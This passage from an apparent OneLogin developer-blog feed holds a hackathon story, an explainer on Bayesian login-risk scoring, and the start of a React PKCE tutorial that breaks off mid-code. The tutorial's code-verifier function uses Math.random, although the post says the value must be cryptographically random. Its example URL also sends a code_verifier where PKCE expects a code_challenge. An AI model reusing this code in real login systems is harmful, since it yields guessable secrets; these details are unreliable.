href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;njlambert&#x2F;&quot;&gt;Nancy Lambert - Brown&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;andrew-maciver-91028956&#x2F;&quot;&gt;Andrew McIver&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;isramartinezv&#x2F;&quot;&gt;Jose Israel Martinez&lt;&#x2F;a&gt;, and the overall &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;&quot;&gt;OneLogin&lt;&#x2F;a&gt; community and the &lt;strong&gt;&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;blog&#x2F;cares-act&quot;&gt;OneLogin Cares initiative&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;.
Bootcamps we are actively cooperating with:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http:&#x2F;&#x2F;www.nucamp.co&quot;&gt;www.nucamp.co&lt;&#x2F;a&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;2u.com&#x2F;about&#x2F;boot-camps&#x2F;&quot;&gt;https:&#x2F;&#x2F;2u.com&#x2F;about&#x2F;boot-camps&#x2F;&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
Let&#x27;s connect and chat more:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;helenasoukupova&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.linkedin.com&#x2F;in&#x2F;helenasoukupova&#x2F;&lt;&#x2F;a&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>What I Learned as a Rookie Engineer on a Hackathon Team</title>
        <published>2021-02-22T00:00:00+00:00</published>
        <updated>2021-02-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/rookie-engineer-hackathon-team/"/>
        <id>https://developers.onelogin.com/blog/rookie-engineer-hackathon-team/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/rookie-engineer-hackathon-team/">&lt;p&gt;Hackathons are like special holidays for engineers. Everyone gets into the alpha zone mindset, making their frontal and temporal lobes happy when the boss says, “Hey, here’s an opportunity to learn, be creative, live up your crazy idea.”
There I was, just one week after my bootcamp, participating in my first hackathon ever. While it sounded exciting, I kept asking myself, “What can I bring to the table to enrich their approach?” and “What role could be best for me around these coding superheroes?” Determined to make a positive impact, I mustered up all my confidence and said to myself, “Let’s go swim with sharks.”
The team I joined had one goal in mind, boost the speed with which users log in and begin their work day. What stood out to me was that the first hours had little to do with any coding. The first few hours were all about:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;how to define the goal
&lt;li&gt;what to research
&lt;li&gt;what services were affected
&lt;li&gt;what were the rewards and risks
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
Since our platform has such a high volume of traffic and must maintain 99.99% uptime, all the improvements we were making had to be done with care and surgical precision.
Once we split the work among the team members, I was tasked with cloning the repository, checking out the hackathon branch, and looking at the encrypt password flow, the area we identified as needing the performance boost. The goal for me was to understand the old code and port it to NodeJS. Of course, I had some help from trusty friends Google and Stackoverflow. However, they were no match for my growth as an engineer. The hackathon team surrounding me was a tremendous resource: always willing to help, pair program, and answer any questions I had. I found the code review parts to be particularly helpful. Much of this great feedback usually came in the form of &quot;Okay, this will work, but can you make it more efficient?&quot;
During the code review you are getting feedback about the quality and efficiency of your code. In this case, we used the Peer Code Review approach because we were running over time and we wanted to achieve the hackathons goals at a faster pace than usual. You can almost call it the &quot;life running code review.&quot; Any questions, coding approach or thinking is shared here and you get back feedback on your work. During the process you will get to learn new and interesting coding patterns, and senior people will explain to you how to achieve an efficient way for your work.
I learned a lot about the professional engineering workflow being involved in the setup and execution of all of the reliability tests the team put together. I got valuable insight in using tools such as [envchain](https:&#x2F;&#x2F;github.com&#x2F;sorah&#x2F;envchain) (to manage access between environments), [kubectl](https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;tasks&#x2F;tools&#x2F;install-kubectl&#x2F;), [k9s](https:&#x2F;&#x2F;k9scli.io&#x2F;) (to access kubernetes), [k6.io](https:&#x2F;&#x2F;k6.io&#x2F;), [grafana ](https:&#x2F;&#x2F;grafana.com&#x2F;grafana&#x2F;dashboards)(to run performance tests and measure results) or [npm audit](https:&#x2F;&#x2F;docs.npmjs.com&#x2F;auditing-package-dependencies-for-security-vulnerabilities) (to check and validate that we fixed security issues), but also getting the explanation why and what we are doing and testing with these tools and how it fits our reliability and scalability goals.
At the end of the week, the goal was achieved, and I got to experience this magic, cathartic moment when the whole team was in the flow state and engaged from 8 am to 11 pm. I was able to watch such amazing creativity, accountability, and collaboration as all team members were fully focused to reach the goal. During these two days, we were able to remove password validation and login attempts flow from the legacy monolith and create them as a new microservice. We cut the user login response time down to half of what it was and increased resiliency of the platform all while reducing the cost of maintaining and operating the old solution.
The most rewarding part was making an impact on a project that makes our OneLogin customers even happier.
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Using Artificial Intelligence to Detect and Thwart Hackers</title>
        <published>2021-02-17T00:00:00+00:00</published>
        <updated>2021-02-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/ai-detect-thwart-hackers/"/>
        <id>https://developers.onelogin.com/blog/ai-detect-thwart-hackers/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/ai-detect-thwart-hackers/">&lt;p&gt;Machine learning and artificial intelligence (A.I.) are rapidly finding new and interesting ways of changing the world. From A.I. powered toothbrushes to content recommendation engines, A.I. is making waves through our lives. Recently, A.I. has proven to be a powerful ally in cybersecurity by busting fraudsters, booting unauthorized guests, and locking down compromised systems. At OneLogin, we use the same A.I. principles that protect the biggest names in tech. Our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;product&#x2F;vigilance-ai&quot;&gt;Vigilance AI™&lt;&#x2F;a&gt; platform works tirelessly to detect and flag suspicious activity in your account and adds an additional layer of protection to your logins in real time if suspicious activity is detected. Here’s an insider look at how we do it.
**There’s Nothing Naïve About Bayes’ Theorem Here
**&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Bayes%27_theorem&quot;&gt;Bayes’ Theorem&lt;&#x2F;a&gt; is considered one of the most important theorems in statistics. You may have seen this formula in a textbook, or a Wikipedia article, or tattooed on a stats geek before. This is the underpinning of how OneLogin analyzes user behavior to determine the risk with each login event.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;bayes-theorem.png&quot; width=&quot;&quot; alt=&quot;Bayes&#x27; Theorem&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For anyone not into statistics, this is how the formula reads:
A = The event is fraudulent
B = The event we were given
P( A | B ) probability that the login is fraudulent given that it looks like the event given
P( B | A ) is the probability a bad actor sending this event
P( A ) is the probability of an event being fraudulent
P( B ) is the probability of being given an event that looks like this
Before we describe the formula, there are a few things we should get out of the way. First, the data we analyze is known as a “login event.” A login event has various features such as time of day, city location, computer model, web browser. A table of these events might look like this if you log into work every morning at 10AM.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;login-event_.png&quot; width=&quot;&quot; alt=&quot;Example table of login events&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As you can see, the more times you log into work from your work MacBook in San Francisco, the more the system trusts these events. If you continue to follow the pattern you’ve set up for yourself, the probability of a login being fraud looks like this. P(B) the probability that we’d get an event like this is high, which drives the overall risk factor down, considering that the probability of an event event like this is fraud P(B|A) is low as well as the fact that most logins are not fraudulent so P(A) is low normally.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;low-risk-score.png&quot; width=&quot;&quot; alt=&quot;Naïve Bayes Formula Used in Risk Score&quot;&gt;
Let’s look at a suspicious event that comes in using the formula.
&lt;strong&gt;Example: Business Trip or Hacks?&lt;&#x2F;strong&gt;
Say we get an event that looks like this:
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;Event.png&quot; width=&quot;&quot; alt=&quot;Sample of Suspicious Event&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This event is a login from a city that you’ve never logged in from before: Tokyo, Japan. So out of say 1000 logins you’ve made in the past year, 5 (for example) have happened at 7 AM, and none have happened in Tokyo from a Google Pixel device. Therefore the probability of receiving such an event P(B) is very low. However, if a bad actor were to compromise your account and they happened to be located in Tokyo, Japan, the probability of them logging in with these parameters P(B | A) is moderate to high. In this case, we’re detecting the Tokyo IP via 3rd party IP reputation service, cross referencing with our internal risk engine, and matching with what we know about you.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;bayes-theorem-suspicious-example.png&quot; width=&quot;&quot; alt=&quot;Sample of Suspicious Event&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is great! But what happens if you’re legitimately traveling to London for business and log in to your desktop station from your MacBook? You might have never logged in from London before, so P(B) is going to be low, but we can account for that by looking at the device type, network domain, time of day, and other features of the event for anomalies. These other features have lower risk factors associated with them because they’re within normal parameters for your login patterns, so the risk calculated is less than the Tokyo example. Your company can configure what constitutes a high enough risk score, which provides flexibility to set policies that range from highly secure to user convenient.
&lt;strong&gt;Why Naïve Bayes?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You’ll note that this entire article is predicated on Naïve Bayes. I should come clean— I lied to you— we do not use Naïve Bayes in our algorithm. What we actually use is far more complex using neural networks and machine learning, but Naïve Bayes is a good starting point for you to understand the direction our system takes to secure your logins. “Naïve” in the name of Naïve Bayes is the assumption that features are independent from one another. That is, what time of day you logged in has no correlation to which browser you’re using. This assumption is clearly false in reality because how you work may affect the features of the login event (you browse with Firefox at your desk job with scheduled hours, but you browse with Safari on a MacBook when you log in from home). The data scientists at OneLogin have come up with a carefully tuned system that accounts for these cross-contaminations among features of login events, but I hope that this oversimplified example offers you an entry into the way Vigilance AI™ keeps your systems safe.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Sprinkle Some PKCE Dust on Your React App</title>
        <published>2021-02-11T00:00:00+00:00</published>
        <updated>2021-02-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/pkce-dust-react-app/"/>
        <id>https://developers.onelogin.com/blog/pkce-dust-react-app/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/pkce-dust-react-app/">&lt;p&gt;Securely exchange authentication information between your single page app (SPA) and your Identity Provider (IdP)&lt;&#x2F;p&gt;
&lt;p&gt;In 2021, it should come as no surprise that there are way better, more scalable ways to authenticate your users beyond a simple username and password check, especially if your SPA is a front for a sizable number of microservices and APIs. A common go-to for authentication is the &lt;a href=&quot;https:&#x2F;&#x2F;oauth.net&#x2F;&quot; target=&quot;_blank&quot;&gt;OAuth specification&lt;&#x2F;a&gt; which is a tremendous resource for all things Open Authorization.&lt;&#x2F;p&gt;
&lt;p&gt;This explainer aims to simplify the complexities in the &lt;a href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7636&quot; target=&quot;_blank&quot;&gt;Proof Key for Code Exchange (PKCE)&lt;&#x2F;a&gt; scheme as if you were to go out and implement it on your own. I noticed a lot of information on this exists, but I felt that none of it really gave any concrete examples of what to do as a React developer in the trenches, and I hope this serves as a good jumping off point for your own implementation. Of course, the easy thing to do would be to use a battle-tested client library like &lt;a href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;package&#x2F;@openid&#x2F;appauth&quot; target=&quot;_blank&quot;&gt;AppAuth&lt;&#x2F;a&gt;, but this article goes a little more in depth about how a client like that achieves the PKCE flow and is hopefully more satisfying than plugging in your IdP configuration parameters and watching magic.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;which-flow-is-right-for-my-app&quot;&gt;Which Flow is Right for My App&lt;&#x2F;h3&gt;
&lt;p&gt;If you’re someone who doesn’t typically focus on authentication, all the information and drawings and overviews from Identity Provider companies, the IETF and others can seem a bit overwhelming. Here’s what you need to know.&lt;&#x2F;p&gt;
&lt;p&gt;For SPAs, the go-to flow has typically been the Implicit flow since SPAs don’t have a secure spot to stash the client_secret, and Implicit flow does not require you to use a client_secret. If you wanted to use Auth Code, you’d need some intermediary backend server that would hold onto the client_secret and act as a go-between for your SPA and the IdP.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;docs&#x2F;openid-connect&#x2F;api&#x2F;id-token&quot;&gt;Implicit flow&lt;&#x2F;a&gt; works by having your app build a URL that users click to navigate to your IdP’s login page to authenticate. Once authentication and authorization are complete, the access_token is returned in the query params of the redirect url.&lt;&#x2F;p&gt;
&lt;p&gt;That means it’s possible for your access_tokens, which are equivalent to username &amp;amp; password, are stored in your browser’s history. You can try using a 2-step flow, but you’ll want a way to ensure that the client making requests to the IdP with the response code from the first step is the same client making the second step request.
Hence Implicit flow is no longer considered a best practice for OAuth with SPAs, so PKCE is now the recommended method.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enter-pkce-or-pixy&quot;&gt;Enter PKCE or “Pixy”&lt;&#x2F;h3&gt;
&lt;p&gt;PKCE was originally developed for mobile apps to prevent malicious background code from intercepting the returned code in an Auth Code flow.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;loophole.png&quot; alt=&quot;Loophole screenshot&quot;&gt;&lt;&#x2F;p&gt;
&lt;p class=&quot;center-text&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc7636&quot; target=&quot;_blank&quot;&gt;RFC7636&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
In order to close the Code Interception Attack loophole, the idea is to make a temporary &quot;client_secret&quot; called a code_challenge so subsequent requests from the SPA can be validated by the AuthZ server to ensure they come from your SPA and not from some other app that intercepted the auth code.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;pkce-dust-react-app&#x2F;close-loophole.png&quot; alt=&quot;Sequence diagram describing the PKCE auth flow for single page and electron desktop applications&quot;&gt;
&lt;p&gt;So what exactly happens to make each step work? In Authorization, your app will need to provide users with a link to the IdP’s &#x2F;authorize endpoint with the information &lt;a href=&quot;&#x2F;docs&#x2F;openid-connect&#x2F;api&#x2F;authorization-code&quot;&gt;outlined here&lt;&#x2F;a&gt; as part of the query string. For example, your app builds this link and might add it as an href to a button or &amp;lt;a&amp;gt; tag:&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;my_company.onelogin.com&#x2F;oidc&#x2F;2&#x2F;auth?client_id=123&amp;amp;redirect_uri=my_company.com&#x2F;login&amp;amp;response_type=code&amp;amp;scope=openid&amp;amp;code_verifier=sha-256-hashed&amp;amp;code_challenge_method=S256&lt;&#x2F;p&gt;
&lt;p&gt;For this to work, we have to build out the following parts: the code_verifier, which gets stored in localStorage or somewhere that survives a redirect of the browser, the code_challenge, which is the hashed version of the code_verifier, and the auth URL where we put all that information together.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The code_verifier&lt;&#x2F;strong&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; createCodeVerifier&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; size&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; charset&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.~&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; charsetIndexBuffer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Uint8Array&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; size&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; let&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; size&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    charsetIndexBuffer&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span&gt; Math&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;random&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; charset&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  let&lt;&#x2F;span&gt;&lt;span&gt; randomChars&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; let&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; charsetIndexBuffer&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;byteLength&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span&gt; index&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; charsetIndexBuffer&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; charset&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    randomChars&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;push&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; charset&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span&gt;index&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span&gt; randomChars&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The code verifier according to &lt;a href=&quot;https:&#x2F;&#x2F;www.oauth.com&#x2F;playground&#x2F;authorization-code-with-pkce.html&quot; target=&quot;_blank&quot;&gt;the spec&lt;&#x2F;a&gt; must be a cryptographically random string using the characters A-Z, a-z, 0â€“9, and the punctuation characters -._~ (hyphen, period, underscore, and tilde), between 43 and 128 characters long. This should be stored somewhere that will survive the app reloading (like localStorage or a cookie) so we can use it to send along in step 2 after we’re redirected back here.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The code_challenge&lt;&#x2F;strong&gt;&lt;br&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; createCodeChallenge&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt; codeVerifier&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; typeof&lt;&#x2F;span&gt;&lt;span&gt; window&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;undefined&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; !&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span&gt; window&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;crypto&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; 